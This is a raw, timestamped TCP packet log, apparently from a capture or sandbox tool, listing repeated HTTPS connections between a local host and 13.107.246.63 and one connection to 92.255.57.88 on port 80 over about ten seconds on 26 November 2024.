Nov 26, 2024 00:08:13.664374113 CET	443	49788	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.664448023 CET	49788	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.664572954 CET	49788	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.664582968 CET	443	49788	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.669934034 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.670084953 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.670135975 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.670156956 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.670161963 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.670170069 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.670172930 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.671901941 CET	49789	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.671933889 CET	443	49789	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.671992064 CET	49789	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.672123909 CET	49789	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.672137976 CET	443	49789	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.674218893 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.674388885 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.674446106 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.674467087 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.674474001 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.674483061 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.674487114 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.676145077 CET	49790	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.676155090 CET	443	49790	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:13.676213980 CET	49790	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.676306963 CET	49790	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:13.676316023 CET	443	49790	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:14.052465916 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:14.052917957 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:14.052943945 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:14.053344011 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:14.053349972 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:14.497880936 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:14.497921944 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:14.497972012 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:14.498241901 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:14.498260021 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:14.498270035 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:14.498275042 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:14.501362085 CET	49791	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:14.501399040 CET	443	49791	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:14.501467943 CET	49791	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:14.501596928 CET	49791	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:14.501612902 CET	443	49791	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.397738934 CET	443	49790	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.398159981 CET	49790	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.398176908 CET	443	49790	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.398618937 CET	49790	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.398623943 CET	443	49790	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.458283901 CET	443	49789	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.458728075 CET	49789	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.458740950 CET	443	49789	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.459126949 CET	49789	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.459131002 CET	443	49789	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.477178097 CET	443	49787	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.477513075 CET	49787	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.477566004 CET	443	49787	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.477880955 CET	49787	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.477900028 CET	443	49787	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.509161949 CET	443	49788	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.509531021 CET	49788	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.509541035 CET	443	49788	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.509891987 CET	49788	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.509896040 CET	443	49788	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.835514069 CET	443	49790	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.835602999 CET	443	49790	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.835675955 CET	49790	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.836643934 CET	49790	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.836663008 CET	443	49790	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.836673975 CET	49790	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.836678982 CET	443	49790	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.838910103 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.838948011 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.839014053 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.839174032 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.839181900 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.901967049 CET	443	49789	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.902157068 CET	443	49789	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.902218103 CET	49789	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.902297020 CET	49789	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.902317047 CET	443	49789	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.902327061 CET	49789	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.902333021 CET	443	49789	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.905858994 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.905955076 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.906061888 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.906164885 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.906189919 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.930747986 CET	443	49787	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.930799961 CET	443	49787	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.930860043 CET	49787	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.931417942 CET	49787	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.931417942 CET	49787	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.931447029 CET	443	49787	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.931471109 CET	443	49787	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.934031963 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.934060097 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.934123993 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.934442997 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.934453011 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.963483095 CET	443	49788	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.963531017 CET	443	49788	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.964761972 CET	49788	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.964849949 CET	49788	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.964857101 CET	443	49788	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.964868069 CET	49788	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.964870930 CET	443	49788	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.966938972 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.966983080 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:15.967051029 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.967238903 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:15.967267036 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:16.282659054 CET	443	49791	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:16.283093929 CET	49791	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:16.283108950 CET	443	49791	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:16.283531904 CET	49791	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:16.283539057 CET	443	49791	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:16.654211998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:08:16.726963997 CET	443	49791	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:16.727025986 CET	443	49791	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:16.727112055 CET	49791	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:16.727283955 CET	49791	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:16.727283955 CET	49791	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:16.727305889 CET	443	49791	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:16.727320910 CET	443	49791	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:16.729748964 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:16.729784966 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:16.729856968 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:16.729996920 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:16.730010033 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.620353937 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.622560978 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:17.622575998 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.626305103 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:17.626310110 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.687452078 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.687897921 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:17.687947035 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.688302040 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:17.688309908 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.763175011 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.775738955 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:17.775777102 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.776042938 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:17.776051044 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.783745050 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.784074068 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:17.784085989 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:17.784481049 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:17.784486055 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.065160990 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.065207958 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.065252066 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.065431118 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.065443039 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.065453053 CET	49792	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.065457106 CET	443	49792	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.067939997 CET	49797	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.067981005 CET	443	49797	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.068053961 CET	49797	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.068202972 CET	49797	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.068223953 CET	443	49797	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.123320103 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.123375893 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.123439074 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.123601913 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.123625994 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.123641014 CET	49795	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.123647928 CET	443	49795	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.126092911 CET	49798	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.126130104 CET	443	49798	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.126194954 CET	49798	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.126317024 CET	49798	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.126329899 CET	443	49798	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.216697931 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.216766119 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.216814995 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.217020988 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.217031956 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.217044115 CET	49793	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.217048883 CET	443	49793	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.218956947 CET	49799	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.218985081 CET	443	49799	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.219053030 CET	49799	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.219180107 CET	49799	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.219202042 CET	443	49799	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.237428904 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.237479925 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.237524986 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.237602949 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.237616062 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.237624884 CET	49794	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.237631083 CET	443	49794	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.239420891 CET	49800	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.239455938 CET	443	49800	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.239520073 CET	49800	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.239665031 CET	49800	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.239676952 CET	443	49800	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.447741032 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.448134899 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.448156118 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.448537111 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.448543072 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.883593082 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.883671045 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.883730888 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.883881092 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.883902073 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.883912086 CET	49796	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.883917093 CET	443	49796	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.886527061 CET	49801	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.886573076 CET	443	49801	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:18.886652946 CET	49801	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.886790037 CET	49801	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:18.886805058 CET	443	49801	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.848598003 CET	443	49797	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.849337101 CET	49797	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:19.849366903 CET	443	49797	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.849833965 CET	49797	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:19.849842072 CET	443	49797	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.937839985 CET	443	49799	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.938705921 CET	49799	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:19.938716888 CET	443	49799	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.939342022 CET	49799	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:19.939347982 CET	443	49799	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.964210987 CET	443	49800	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.965045929 CET	49800	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:19.965069056 CET	443	49800	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.965698957 CET	49800	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:19.965703964 CET	443	49800	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.974953890 CET	443	49798	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.976974010 CET	49798	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:19.976994991 CET	443	49798	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:19.977575064 CET	49798	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:19.977580070 CET	443	49798	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.293390989 CET	443	49797	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.293445110 CET	443	49797	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.293509960 CET	49797	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.314558029 CET	49797	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.314579010 CET	443	49797	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.314589977 CET	49797	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.314594984 CET	443	49797	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.360882998 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.360915899 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.360970020 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.361855984 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.361865997 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.373158932 CET	443	49799	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.373233080 CET	443	49799	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.373276949 CET	49799	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.376188040 CET	49799	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.376195908 CET	443	49799	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.376204014 CET	49799	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.376207113 CET	443	49799	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.394903898 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.394938946 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.394990921 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.395332098 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.395343065 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.398931026 CET	443	49800	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.398981094 CET	443	49800	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.399029016 CET	49800	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.404576063 CET	49800	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.404586077 CET	443	49800	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.404612064 CET	49800	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.404617071 CET	443	49800	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.430361032 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.430387020 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.430454016 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.430565119 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.430572987 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.431240082 CET	443	49798	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.431287050 CET	443	49798	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.431332111 CET	49798	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.431498051 CET	49798	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.431513071 CET	443	49798	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.431521893 CET	49798	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.431525946 CET	443	49798	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.434253931 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.434294939 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.434364080 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.434470892 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.434488058 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.668570042 CET	443	49801	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.669099092 CET	49801	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.669120073 CET	443	49801	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:20.669585943 CET	49801	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:20.669590950 CET	443	49801	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:21.119462967 CET	443	49801	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:21.119530916 CET	443	49801	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:21.119581938 CET	49801	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:21.119828939 CET	49801	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:21.119828939 CET	49801	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:21.119843006 CET	443	49801	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:21.119857073 CET	443	49801	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:21.122164965 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:21.122191906 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:21.122273922 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:21.122414112 CET	49806	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:21.122423887 CET	443	49806	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.155431986 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.155917883 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.155997038 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.156563044 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.156579971 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.208822012 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.213126898 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.213154078 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.213701963 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.213707924 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.247232914 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.247613907 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.247632980 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.248173952 CET	49803	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.248178005 CET	443	49803	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.277234077 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.277574062 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.277591944 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.278141975 CET	49804	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.278146982 CET	443	49804	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.590694904 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.590737104 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.590953112 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.602866888 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.602895975 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.602912903 CET	49805	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.602920055 CET	443	49805	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.605309010 CET	49807	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.605334997 CET	443	49807	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.605550051 CET	49807	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.608653069 CET	49807	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.608670950 CET	443	49807	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.673394918 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.673429966 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.673629999 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.673686981 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.673702002 CET	443	49802	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:22.673712015 CET	49802	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:22.673716068 CET	443	49802	13.107.246.63	192.168.2.4
